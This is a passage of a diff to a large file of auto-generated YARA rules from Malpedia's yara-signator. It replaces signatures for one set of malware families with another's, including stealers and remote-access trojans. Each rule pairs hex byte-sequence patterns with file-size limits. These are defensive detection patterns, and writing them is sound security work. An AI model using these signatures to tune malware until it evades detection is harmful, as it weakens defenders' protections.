+		$sequence_6 = { ff750c ff75d4 50 e8???????? 83c414 8945ec }
+		$sequence_7 = { e8???????? 83c418 8d45fc 897dfc 50 }
+		$sequence_8 = { ffd7 8945fc 8d4308 50 ffd7 8065e400 }
+		$sequence_9 = { 33df 035dc0 8d9c1992cc0c8f 8bcb c1e30a c1e916 0bcb }
 
 	condition:
-		7 of them and filesize <1228800
+		7 of them and filesize <106496
 }
-rule MALPEDIA_Win_Retro_Auto : FILE
+rule MALPEDIA_Win_Iispy_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a4751029-21e3-5dc7-8b10-667fe3852f4c"
+		id = "204a2c38-8895-5ac0-a1fb-2cdf3f008fea"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.retro"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.retro_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.iispy"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.iispy_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "a167f37f4c1b5df11b8ae00c368ae3ba7079a871854da90fb0bcfd20e0f3d7b0"
+		logic_hash = "7326802c4105c66879b54e4bc2a70df2a9f75047a51ff2245fe60a57fbe51d36"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -163407,32 +170583,32 @@ rule MALPEDIA_Win_Retro_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 49ffcb 8941ec 418b440af0 8941f0 418b440af4 }
-		$sequence_1 = { 8b442420 4863c8 ba04000000 e8???????? 4c8bb42478400000 4c8ba42480400000 488bb42488400000 }
-		$sequence_2 = { 488b742468 488dab00120000 f30f100d???????? 4963c5 448b848308130000 418d4701 410fafc0 }
-		$sequence_3 = { f30f58c2 f30f58c1 f30f58c5 4883c478 c3 660feb15???????? f30f5c15???????? }
-		$sequence_4 = { f3410f1081f8550100 410f2fc0 7604 f30f59e8 8d442eff 4863c8 }
-		$sequence_5 = { 418bd4 e8???????? 33c9 85c0 0f8514010000 4c8d2df2e70300 }
-		$sequence_6 = { f30f59e8 418d4424ff 4863c8 483bcd 7c2e 0f1f00 660f6e0c8b }
-		$sequence_7 = { 4881c460260000 415f 415e 415d 5f 5e 5b }
-		$sequence_8 = { 48c1f905 4c8d05db7f0500 83e21f 486bd258 490314c8 488d0d79700200 eb11 }
-		$sequence_9 = { f20f1035???????? 0f297c2430 0f57ff 33ff 83bab412000002 488bda 4c8bc9 }
+		$sequence_0 = { ebdc 837b1800 0f85f6000000 3bce 7436 8a01 3c5d }
+		$sequence_1 = { d1e8 03d0 8b5e0c 8b7d08 2bd9 03fb }
+		$sequence_2 = { 85c0 755e f7459c00100000 7503 8b7608 }
+		$sequence_3 = { ff2485887a0010 51 8bcf e8???????? 8b17 8b4210 2b420c }
+		$sequence_4 = { 6a00 ff75e4 c745e800000000 ffd6 85c0 0f856effffff eb0c }
+		$sequence_5 = { 85f6 0f84c1010000 0fb7460e 8bc8 c1e90a f6c101 }
+		$sequence_6 = { 0f1145c8 8b4810 894dc4 b903000000 0f1100 6689480e 8d4dc8 }
+		$sequence_7 = { 8955b4 8d0409 50 6a00 52 e8???????? b800100000 }
+		$sequence_8 = { f6430801 7411 8d5304 8bcf e8???????? 5f 5e }
+		$sequence_9 = { 8b742424 8b7c2420 884c240b 89742410 897c241c e9???????? 3bf8 }
 
 	condition:
-		7 of them and filesize <1409024
+		7 of them and filesize <397312
 }
-rule MALPEDIA_Win_Corebot_Auto : FILE
+rule MALPEDIA_Win_Evilbunny_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "690f2e96-0cf9-536c-962e-128a98cf1d0b"
+		id = "2b83805d-7841-5694-8ab4-bb4f9f22ae07"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.corebot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.corebot_auto.yar#L1-L167"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.evilbunny"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.evilbunny_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "f317e1a133d092285e381a2c4a6a16830d0d7cb17eced179ceadea1ad59e039d"
+		logic_hash = "7c88ed9ce9cea56ac78c56ce0f41ba384f06b92b5a02fe2a2de304167eb32f00"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -163446,40 +170622,34 @@ rule MALPEDIA_Win_Corebot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 31c0 5e 5d c20800 55 89e5 }
-		$sequence_1 = { 01f3 8b75ec 56 8945f0 }
-		$sequence_2 = { 0fb618 895de8 c745ec07000000 8d141b 84db 8955e8 }
-		$sequence_3 = { 50 e8???????? 83c404 29f7 }
-		$sequence_4 = { 51 ff15???????? 85c0 0f95c0 eb08 c70600000000 }
-		$sequence_5 = { 31f6 8955e8 894dec 43 8b4dec 8d55f0 }
-		$sequence_6 = { 31f6 46 8918 89f0 83c40c 5e 5f }
-		$sequence_7 = { 43 8b4dec 8d55f0 e8???????? 85db 7827 }
-		$sequence_8 = { e8???????? 807e5800 7509 ff7654 ff15???????? 807e5000 7509 }
-		$sequence_9 = { eb10 6800800000 6a00 56 }
-		$sequence_10 = { 85c0 7515 8b4624 3b4620 }
-		$sequence_11 = { ff7010 ff7014 e8???????? 8b45e0 }
-		$sequence_12 = { ff15???????? 8d4634 50 ff15???????? 8d4e0c e8???????? }
-		$sequence_13 = { ff15???????? 807e5000 7509 ff764c ff15???????? 8d4634 50 }
-		$sequence_14 = { ff742428 e8???????? 8b442424 8d4c2410 }
-		$sequence_15 = { 85ff 740f 57 ff7508 }
+		$sequence_0 = { 8b4dec 8b5104 8b45ec 8b4804 8b12 8bf4 51 }
+		$sequence_1 = { eb09 8b450c 8b80b0d91a00 3bf0 7e44 83ee07 eb3f }
+		$sequence_2 = { c1e104 8b5508 8b4220 8d4c08f0 8b5508 894a1c 8b4508 }
+		$sequence_3 = { 8b4df8 51 e8???????? 83c404 83c028 50 6a00 }
+		$sequence_4 = { e8???????? 83c40c 8b55f8 8b4204 50 68???????? 8b4d08 }
+		$sequence_5 = { e8???????? 83c40c 837dd808 7308 8b45d8 89458c eb07 }
+		$sequence_6 = { c1ea0a 33c2 038558ffffff 8b8d38ffffff c1e907 8b9538ffffff c1e219 }
+		$sequence_7 = { e8???????? 034508 50 e8???????? 83c40c 8b45f4 50 }
+		$sequence_8 = { c7000b000000 e9???????? 8b4d0c 8b5108 52 6a00 6a05 }
+		$sequence_9 = { 8b5598 8b45f8 8902 8b4598 52 8bcd 50 }
 
 	condition:
-		7 of them and filesize <1302528
+		7 of them and filesize <1695744
 }
-rule MALPEDIA_Win_Oni_Auto : FILE
+rule MALPEDIA_Win_Ketrican_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ffe7d6a1-e7f2-579d-b056-7e9412d8f38a"
+		id = "03c6cec7-6d12-51a2-b1a9-8239f834bf9b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.oni"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.oni_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ketrican"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ketrican_auto.yar#L1-L227"
 		license_url = "N/A"
-		logic_hash = "ef51460421d5bc54251bcf8ac5edcdde6a15b31e2116a2189b470d64d9b9ae34"
+		logic_hash = "c6a0e9c9ef6d7c9c9c9505df3e47863f2b32a94701647f7dc167a7885087d327"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -163491,32 +170661,45 @@ rule MALPEDIA_Win_Oni_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 8d4db0 c645b000 e8???????? 8b0d???????? b8abaaaa2a 8b3d???????? }
-		$sequence_1 = { 83f904 0f828d000000 83f923 0f8789000000 8bc8 }
-		$sequence_2 = { ff75ec 51 ff36 8b55e8 8bcb e8???????? 83c410 }
-		$sequence_3 = { 7f07 3bc7 0f4fd8 8bfb 6aff 8d4701 }
-		$sequence_4 = { 3a45ec 753e 8b45f0 8b048590884300 }
-		$sequence_5 = { 8d0dc0254300 ba1b000000 e9???????? a900000080 }
-		$sequence_6 = { 660fd685c8feffff 33ff 6800010000 899dc8feffff 89bdccfeffff 899dd0feffff ff15???????? }
-		$sequence_7 = { 8901 0fb602 5f 5e 5b 8b4c2430 33cc }
-		$sequence_8 = { 8b542428 8b442414 85f6 0f8422ffffff }
-		$sequence_9 = { f6c104 7519 f6c102 8d4df8 7540 eb6a }
+		$sequence_0 = { 8965f0 33db 895dfc 33c0 }
+		$sequence_1 = { 7417 6a0a 6a1f 68???????? }
+		$sequence_2 = { e8???????? 83c010 8906 c3 56 }
+		$sequence_3 = { 8bd1 e8???????? 5f 5e c3 55 8bec }
+		$sequence_4 = { 8b06 5d c20400 55 8bec 8b4508 894508 }
+		$sequence_5 = { 8bc1 8945f0 834dfcff e8???????? }
+		$sequence_6 = { 8901 5b 5d c20800 680e000780 e8???????? cc }
+		$sequence_7 = { 680e000780 e8???????? cc 8b06 83e810 8b08 }
+		$sequence_8 = { 48 7445 48 743a 48 }
+		$sequence_9 = { 884603 83c604 8345f804 8b45f8 5f }
+		$sequence_10 = { 58 668945d8 6a72 58 }
+		$sequence_11 = { 6a00 8d85f1fbffff 50 e8???????? 83c40c 6800040000 }
+		$sequence_12 = { ff7508 53 53 ffd6 5f 5e }
+		$sequence_13 = { 740a 48 754a e8???????? }
+		$sequence_14 = { 83c002 663bd3 75f5 2bc1 d1f8 8d7001 6800080200 }
+		$sequence_15 = { e8???????? 8b8a8c2f0000 33c8 e8???????? b8???????? }
+		$sequence_16 = { ff15???????? 68???????? c705????????98824100 a3???????? }
+		$sequence_17 = { 8d420c 8b4ae8 33c8 e8???????? 8b8a4c010000 }
+		$sequence_18 = { 33c8 e8???????? 8b8ae8080000 33c8 e8???????? }
+		$sequence_19 = { 8d4dd0 e9???????? 8d4de0 e9???????? 8d4db8 e9???????? 8d4ddc }
+		$sequence_20 = { b8???????? e9???????? 8b542408 8d420c 8b8aa4feffff 33c8 }
+		$sequence_21 = { c705????????98824100 a3???????? c605????????00 e8???????? 59 }
+		$sequence_22 = { 8b8a54ffffff 33c8 e8???????? 8b8adc090000 33c8 e8???????? }
 
 	condition:
-		7 of them and filesize <499712
+		7 of them and filesize <1449984
 }
-rule MALPEDIA_Win_Lpeclient_Auto : FILE
+rule MALPEDIA_Win_Deltastealer_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ff5559d0-76ba-5f50-8136-3eeb9fa351f1"
+		id = "e4bcf99b-e757-5705-a59b-a0722820f3d9"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lpeclient"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lpeclient_auto.yar#L1-L128"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.deltastealer"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.deltastealer_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "cc71b8a0d92e690c3547182b96989e3a466b7b3af36dfae852a2105f4c91b9a4"
+		logic_hash = "f3a202dde71406be69325c7d8bb3b580aed323825ecf5c600f5b385fd3e3e19c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -163530,32 +170713,32 @@ rule MALPEDIA_Win_Lpeclient_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { f0ff03 8bce e8???????? eb2b 83f8ff 7526 4c8d2567f60000 }
-		$sequence_1 = { 33c0 80f90a 0f94c0 8944244c 488d054a1b0100 }
-		$sequence_2 = { 33c0 488bfe 66f2af 48f7d1 48ffc9 0f8456010000 }
-		$sequence_3 = { e8???????? c1eb03 85db 0f8e52130000 8b4c2450 8b542450 4c8d5e02 }
-		$sequence_4 = { 498be3 5f c3 48895c2410 4889742418 57 4881ec30020000 }
-		$sequence_5 = { 7406 81f1783bf682 48ffc7 48ffca 75e6 443bc1 410f94c5 }
-		$sequence_6 = { 0fb64c38ff 4132c8 880a 4183c10b 41ffc2 }
-		$sequence_7 = { 0bd8 418b0424 8d0c03 8bfb 448bc1 48c1e918 83e10f }
-		$sequence_8 = { 488d0d0f570100 ff15???????? 4c8b4308 488d1546e90000 488d0df74e0100 ff15???????? 488d0d9a480100 }
-		$sequence_9 = { 33db c74424646b000000 ff15???????? 448d4b01 448d4307 488d95a00b0000 }
+		$sequence_0 = { 4883c428 c3 56 57 53 4883ec30 4c89c6 }
+		$sequence_1 = { 4d01c1 4c894c2420 4c89442428 c744243803001100 c744244803001100 488d5c2430 4c8d742440 }
+		$sequence_2 = { 57 53 4883ec40 4889d3 488b01 488b7008 488b7810 }
+		$sequence_3 = { 84c0 7416 4180bc240802000000 750b 488b842448010000 c60001 4584f6 }
+		$sequence_4 = { e8???????? 498b7610 31db 4839df 741e 8a041e 8d48bf }
+		$sequence_5 = { 89d7 48ffc3 49895e10 49f7e2 0f80a8000000 400fb6d7 4801d0 }
+		$sequence_6 = { c6474001 4889f9 e8???????? 4885c0 7438 4885d2 7433 }
+		$sequence_7 = { e8???????? 4489e3 488d4c2460 e8???????? 4989c7 eb21 4584e4 }
+		$sequence_8 = { 48895c2420 488d7c2430 41b830000000 41b910000000 4889f9 e8???????? 488b7f18 }
+		$sequence_9 = { 6601c8 0f92c2 81f9ffff0000 0f87d8feffff 84d2 0f85d0feffff 4d85f6 }
 
 	condition:
-		7 of them and filesize <289792
+		7 of them and filesize <3532800
 }
-rule MALPEDIA_Win_Cutwail_Auto : FILE
+rule MALPEDIA_Win_Jssloader_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "62e269de-1aa8-5a3f-857f-84d4e225d36e"
+		id = "e1eaf0bc-7617-5378-87a8-cba9c6423b69"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cutwail"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cutwail_auto.yar#L1-L165"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jssloader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.jssloader_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "c6c78a26e86e94e8584b09088785fb67085bf6ba9ec9ef8f1d52fe4203a44bcb"
+		logic_hash = "186e7df3cf3822e82929f92759ecc1d78a3a2d538dfeac54de7cfb7d33d930ef"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -163569,40 +170752,34 @@ rule MALPEDIA_Win_Cutwail_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8808 ebc1 8b5508 03550c c60200 c745fc01000000 8b45fc }
-		$sequence_1 = { 3930 0f8491010000 8b08 8b09 894d40 }
-		$sequence_2 = { eb12 8d45f4 50 8b4704 }
-		$sequence_3 = { 59 e9???????? 8b7de0 8b45f8 83f808 }
-		$sequence_4 = { 8b8568feffff 0560ea0000 39855cfeffff 7633 8b8d5cfeffff 898d68feffff e8???????? }
-		$sequence_5 = { 8b400c 894564 8d4568 50 }
-		$sequence_6 = { c7410400000000 6830750000 ff15???????? 8b55fc 8b02 50 }
-		$sequence_7 = { 837d1000 7d04 32c0 eb7d }
-		$sequence_8 = { 84c0 745e 46 8a06 }
-		$sequence_9 = { 51 e8???????? 83c40c c785e0fdffff00000000 c785dcfdffff00000000 }
-		$sequence_10 = { 3bdf 894510 0f84ecfdffff 53 50 }
-		$sequence_11 = { 68a6000000 89450c e8???????? 03c3 50 }
-		$sequence_12 = { e8???????? 83c410 8985ecfdffff 83bdecfdffffff 0f84ae000000 8b95e4fdffff }
-		$sequence_13 = { 76ce 8b7d6c 83ff1d 740e }
-		$sequence_14 = { 7509 c68563feffff01 eb77 83bd6cfeffff05 7d6e ff15???????? 89855cfeffff }
-		$sequence_15 = { e8???????? 83c414 8b85dcfdffff 2b85d8fdffff 0345fc }
+		$sequence_0 = { 89b5e0fbffff 660fd685e4fbffff 89b5ecfbffff 89b5e4fbffff 89b5e8fbffff 89b5ecfbffff }
+		$sequence_1 = { 0f4345b4 50 ff15???????? 8bf0 89b5c0fdffff 83feff 0f84b9020000 }
+		$sequence_2 = { 8945fc 56 8b7508 8d85fcfeffff 6800010000 6a00 50 }
+		$sequence_3 = { 899d0cffffff 6a04 68???????? c745d000000000 c745d40f000000 c645c000 e8???????? }
+		$sequence_4 = { 2bc6 83c0fc 83f81f 0f8797010000 e9???????? 8b854cfeffff 8d4804 }
+		$sequence_5 = { 51 ffb570feffff 8d4dcc e8???????? c645fc0b 8b55e0 8bc2 }
+		$sequence_6 = { 3b85ecfbffff 740a 8808 ff85e8fbffff }
+		$sequence_7 = { 8bc1 83e13f c1f806 6bc938 8b0485701d4400 80640828fe ff33 }
+		$sequence_8 = { 03f0 56 e8???????? 8b8534ffffff 83c40c 8b8d54feffff }
+		$sequence_9 = { 03f0 56 e8???????? 8b854cffffff 83c40c c6043000 8bb568feffff }
 
 	condition:
-		7 of them and filesize <262144
+		7 of them and filesize <581632
 }
-rule MALPEDIA_Win_Hyperssl_Auto : FILE
+rule MALPEDIA_Win_Tandfuy_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "2b769147-d4c5-504a-a0e4-deff8d9a685b"
+		id = "38730032-1555-50d4-b759-37b770d675ac"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hyperssl"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hyperssl_auto.yar#L1-L217"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tandfuy"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tandfuy_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "f5cbe0c98412e251badcd68fd5914804f5830187a82b3a89143d596e8e3b1b20"
+		logic_hash = "7ea6bc2b0de15e30b85cc41fe9dae28b9e373e31fa36302d55838d87545cc73b"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -163614,46 +170791,32 @@ rule MALPEDIA_Win_Hyperssl_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0108 3310 c1c607 c1c210 }
-		$sequence_1 = { 33c3 8b5c244c c1ee12 0bfe 33cf 8bf2 }
-		$sequence_2 = { 0105???????? 8d8d5cffffff 89855cffffff 898560ffffff }
-		$sequence_3 = { 2bf0 5f 8a10 301401 8a10 301406 40 }
-		$sequence_4 = { 40 4f 75f2 5f 5e e9???????? c3 }
-		$sequence_5 = { 7436 8b413c 03c1 742a }
-		$sequence_6 = { 03c1 742a 8b4028 03c1 }
-		$sequence_7 = { 0101 0100 0100 0100 }
-		$sequence_8 = { 0100 0200 0200 0002 0002 }
-		$sequence_9 = { 33c0 40 5d c20c00 6a08 }
-		$sequence_10 = { 0108 3908 1bc9 f7d9 }
-		$sequence_11 = { 8b4028 03c1 7423 56 57 }
-		$sequence_12 = { ff15???????? 8bc8 85c9 7436 8b413c }
-		$sequence_13 = { 0105???????? 8d558c 89458c 894590 }
-		$sequence_14 = { c20c00 6a08 68???????? e8???????? 8b450c 83f801 }
-		$sequence_15 = { 0101 014514 2bf3 8b5d0c }
-		$sequence_16 = { 01442428 8b442428 884500 45 }
-		$sequence_17 = { 017e0c 5f 8bc6 5e c20800 }
-		$sequence_18 = { 017e0c 395e10 740f ff7610 }
-		$sequence_19 = { 017e08 8bc3 e8???????? c20400 }
-		$sequence_20 = { 017e0c 8d4d08 e8???????? 5f }
-		$sequence_21 = { 011d???????? 5f 8935???????? 5e }
-		$sequence_22 = { 017e08 50 e8???????? ff0d???????? }
-		$sequence_23 = { 016b08 897b04 5f 5e }
+		$sequence_0 = { 52 8b942458010000 25ff000000 81e1ff000000 50 }
+		$sequence_1 = { f68221eb6e0004 7403 40 ff01 ff01 40 e9???????? }
+		$sequence_2 = { e8???????? 83c404 85c0 0f8440010000 b93e000000 33c0 8dbdd8f9ffff }
+		$sequence_3 = { 8bec 8b4508 ff3485a0d66e00 ff15???????? 5d c3 55 }
+		$sequence_4 = { 6a00 51 6a02 52 56 ff15???????? 56 }
+		$sequence_5 = { 52 33c9 8a4801 51 33d2 8a10 }
+		$sequence_6 = { f3ab 8dbc2474020000 83c9ff f2ae f7d1 2bf9 8bc1 }
+		$sequence_7 = { 7562 b8???????? 81c49c000000 c3 83f806 7551 }
+		$sequence_8 = { 8d95e8feffff 8b7d08 83c9ff 33c0 f2ae f7d1 }
+		$sequence_9 = { 6800000080 56 f3ab ff15???????? 8bd8 }
 
 	condition:
-		7 of them and filesize <835584
+		7 of them and filesize <155648
 }
-rule MALPEDIA_Win_Skinnyboy_Auto : FILE
+rule MALPEDIA_Win_Biscuit_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "c1dca40b-594e-536c-99f6-c4dd1e2fe372"
+		id = "cbdd41f1-3e24-52e8-913d-0c21f28eadad"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.skinnyboy"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.skinnyboy_auto.yar#L1-L117"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.biscuit"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.biscuit_auto.yar#L1-L126"
 		license_url = "N/A"
-		logic_hash = "70d89835d7c3795dc1cc1ad5fe812e10b23259f8f17b962d2f0a6c8239d19e5a"
+		logic_hash = "c4b7181ffb74601ad4f6fe9643262fda887ff950b5291eeca17cee75a1b1c812"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -163667,32 +170830,32 @@ rule MALPEDIA_Win_Skinnyboy_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6a03 6a00 6a00 68bb010000 ffb5ccfeffff 56 ff15???????? }
-		$sequence_1 = { ff30 8945f0 ff36 8975f4 }
-		$sequence_2 = { 660fd68564feffff f30f7e05???????? 8d8576feffff 6a00 50 660fd6856cfeffff e8???????? }
-		$sequence_3 = { ffd7 ffd3 6a00 6a00 }
-		$sequence_4 = { c7856cffffff464b1153 c78570ffffff05170610 c78574ffffff035d591e c78578ffffff01591244 }
-		$sequence_5 = { c1fb05 8bfe 83e71f c1e706 8b049d10110110 }
-		$sequence_6 = { ff15???????? 8bf0 89b5d8feffff ffd3 }
-		$sequence_7 = { c745bc79000000 660fd645c0 660fd645c8 c745e457000000 660fd645e8 660fd645f0 }
-		$sequence_8 = { 85d2 740f 668b444de4 6631444dd0 41 3bca }
-		$sequence_9 = { 8d45f4 50 ff7308 ff15???????? 8b15???????? 85c0 }
+		$sequence_0 = { e9???????? a1???????? 898588feffff 83bd88feffff00 0f85bb010000 bf???????? }
+		$sequence_1 = { 84c0 894b04 0f84e8feffff 8b542418 52 }
+		$sequence_2 = { 8a54040c 40 f6d2 8854040b 3bc1 }
+		$sequence_3 = { eb04 8b7c2424 8b4604 53 53 53 }
+		$sequence_4 = { e9???????? 8b4de4 bf???????? 33c0 8d9980000000 83c9ff f2ae }
+		$sequence_5 = { f2ae f7d1 49 3bd1 731f 8b7de0 8a0c1a }
+		$sequence_6 = { 740e 68???????? 57 e8???????? 83c408 f60610 }
+		$sequence_7 = { 899538feffff 83bd38feffff00 7511 8b85ccfeffff 2b45e4 8985c0feffff }
+		$sequence_8 = { c1e902 f3a5 8bc8 83e103 f3a4 68c8000000 ff15???????? }
+		$sequence_9 = { 8bcb e8???????? 84c0 7426 8b7b04 8bcd 8bd1 }
 
 	condition:
-		7 of them and filesize <176128
+		7 of them and filesize <180224
 }
-rule MALPEDIA_Win_Poison_Rat_Auto : FILE
+rule MALPEDIA_Win_Open_Carrot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "3901c97f-e38d-5819-991e-493be520fc51"
+		id = "a3d97757-e9bd-5b96-a3d4-9f325722b76a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.poison_rat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.poison_rat_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.open_carrot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.open_carrot_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "b960cb72b2615d9b184a9e25264d3c87f1ec796c5d1b6fa8620d3a64be9786ae"
+		logic_hash = "bc0e7aafdfe5fe87787ac92bf2b362a8818b18c35ce921dfe615312cba0c80f1"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -163706,32 +170869,32 @@ rule MALPEDIA_Win_Poison_Rat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6880000000 8d85d4fcffff 52 50 e8???????? }
-		$sequence_1 = { 40 83f810 7cee 83ee10 4f 75ac 33c0 }
-		$sequence_2 = { 81e1ff000000 83c010 331cad30a44000 8b68f8 }
-		$sequence_3 = { e8???????? 8d8560ffffff 68???????? 50 e8???????? ffb6eca94000 }
-		$sequence_4 = { 81e5ff000000 333cad30a44000 8b68fc 33fd 8bea }
-		$sequence_5 = { f3a5 ff249578334000 8bc7 ba03000000 }
-		$sequence_6 = { 33c9 897c2418 8a6e08 8a4e09 }
-		$sequence_7 = { c1ea18 81e5ff000000 330c9530984000 8bd7 81e2ff000000 330c9530a44000 8b10 }
-		$sequence_8 = { 8b34b530984000 8b1cbd309c4000 c1e908 33f3 81e1ff000000 8b0c8d30804000 }
-		$sequence_9 = { 8bf1 c1f805 83e61f 8d3c8580c54000 c1e603 8b07 }
+		$sequence_0 = { b910000000 e8???????? 4889442430 c700ffffffff 48c74008ffffffff 8b4c2438 8908 }
+		$sequence_1 = { b9c8dcfb75 ffc1 c1e106 83e9ff 83c101 6807ab8f5e 4c893424 }
+		$sequence_2 = { ffd0 eb05 bd01000000 440fb6e5 443bed 7c7a 488b15???????? }
+		$sequence_3 = { 8bc3 e9???????? 41b805000000 488d153c9a1800 488bcf e8???????? 85c0 }
+		$sequence_4 = { ffcf 488d9512070000 4903d4 4c63c7 664289b445100f0000 e8???????? 6639b510170000 }
+		$sequence_5 = { 4881cb3f000000 48c7c000020000 4981c46f000000 4809f0 4d0fb72424 4881c204000000 4809c6 }
+		$sequence_6 = { 83fe07 7772 4c8d0dad8df9ff 4863c6 418b8481f0750600 4903c1 ffe0 }
+		$sequence_7 = { e9???????? 488d05de191400 894c2420 4c8d2dabb30f00 89742424 eb42 488d05aeb30f00 }
+		$sequence_8 = { 4c8d0d91850b00 8d4a98 448d42ef e8???????? e9???????? 4c8b4310 488bd7 }
+		$sequence_9 = { 7422 41b8a3000000 488d15c7ff0900 e8???????? 48898380000000 4885c0 0f842f010000 }
 
 	condition:
-		7 of them and filesize <101688
+		7 of them and filesize <8377344
 }
-rule MALPEDIA_Win_Poohmilk_Auto : FILE
+rule MALPEDIA_Win_Spybot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4a533432-ed1d-58b3-b34c-6e80b5d4a8fb"
+		id = "bb20c1b9-da8a-50d3-8d1c-08fd01abaeb2"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.poohmilk"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.poohmilk_auto.yar#L1-L121"
